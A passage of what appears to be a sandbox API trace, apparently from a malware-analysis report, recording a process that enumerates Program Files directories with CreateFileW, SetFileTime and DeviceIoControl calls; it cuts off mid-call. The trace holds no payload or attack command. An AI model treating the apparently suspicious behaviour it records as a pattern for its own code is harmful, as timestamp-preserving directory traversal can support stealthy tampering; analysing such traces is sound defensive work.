(lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.616] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.616] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.618] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.618] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0145.620] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.620] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0145.624] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.624] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0145.637] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.637] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0145.639] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.639] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.641] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.641] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.644] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.644] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.647] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.647] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.651] CreateFileW (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.651] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.651] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.654] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.655] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.655] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.657] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.657] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.657] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.660] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.660] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.660] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.663] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.663] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.664] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.665] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.665] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.665] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.668] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.668] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.668] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.670] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.671] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.671] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.673] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.673] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.673] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.677] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.677] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.677] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.679] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.679] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.679] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.683] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.683] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.683] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.685] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.685] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.685] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.687] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.687] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.687] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.690] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.691] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.691] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.692] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.692] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.693] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.696] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US" (normalized: "c:\\program files\\windows journal\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.697] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.697] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.701] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.702] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.702] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.705] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.705] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.705] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.709] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.709] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.709] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.711] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.711] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0145.711] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0145.715] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.715] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.715] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1b05ee0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x1b05ee0, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.722] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.722] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.722] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.728] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.728] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.728] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.733] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing" (normalized: "c:\\program files\\windows media player\\network sharing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0145.733] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.733] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0145.737] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.738] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0145.738] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, 